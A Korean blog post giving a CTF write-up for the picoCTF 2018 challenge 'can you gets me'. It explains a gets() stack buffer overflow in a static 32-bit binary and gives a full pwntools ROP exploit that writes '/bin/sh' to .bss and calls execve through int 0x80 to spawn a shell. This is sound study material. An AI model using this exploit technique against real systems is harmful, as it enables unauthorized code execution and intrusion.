상세 컨텐츠

본문 제목

[picoCTF 2018] can you gets me

SYSTEM HACKING/CTF, etc

by koharin 2020. 1. 31. 12:43

본문

728x90
반응형

 

# file

 

 

statically linked binary이다.

 

 

# checksec 

 

 

 


 

# code

 

 

- vuln : gets로 단순히 입력을 받아서 BOF 취약점이 발생한다.

 

look at me에서 사용한대로 getsbss 영역에 “/bin/sh” 문자열을 넣고, syscallexecve(“/bin/sh”, NULL, NULL); 을 실행해서 쉘이 실행되도록 할 것이다.

 


 

# process

 

 

1. 필요한 인자

 

EAX 0x0b : execve syscall id

ECX NULL

EBX “/bin/sh”

EDX NULL

 

2. 필요한 gadget & 주소

 

- pop eax; ret : 0x80b84d6

- pop ecx; ret : 0x80dece1

- pop ebx; ret : 0x80481c9

- pop rdx; ret : 0x806f19a

 

 

- int 0x80; ret : 0x806f7a0

 

 

- gets@plt -> 디버깅에서 찾음

 

 

- bss

 

 

 


 

 

# exploit code

 

#!/usr/bin/python                                                                      
from pwn import *

p = process("./gets_")
elf = ELF("./gets_")

pop_eax = 0x80b84d6
pop_ecx = 0x80dece1
pop_ebx = 0x80481c9
pop_rdx = 0x806f19a
int_0x80 = 0x806f7a0
gets_plt = 0x804f290
bss = 0x80eaf80

pay = 'A'*(0x18+0x4)
pay += p32(gets_plt) + p32(pop_eax) + p32(bss)
pay += p32(pop_eax) + p32(0xb)
pay += p32(pop_ebx) + p32(bss) + p32(pop_ecx) + p32(0) + p32(pop_rdx) + p32(0)
pay += p32(int_0x80)

p.sendline(pay)
p.sendline("/bin/sh\x00")

p.interactive()

 

 

# exploit

 

 

 


 

728x90
반응형

'SYSTEM HACKING > CTF, etc' 카테고리의 다른 글

[picoCTF 2018] echo back  (0) 2020.02.07
[picoCTF 2018] authenticate  (0) 2020.01.31
[picoCTF 2018] echooo  (0) 2020.01.29
[TUCTF 2018] Ehh  (0) 2020.01.29
[Def Camp 2016] Warm Heap  (0) 2020.01.22

관련글 더보기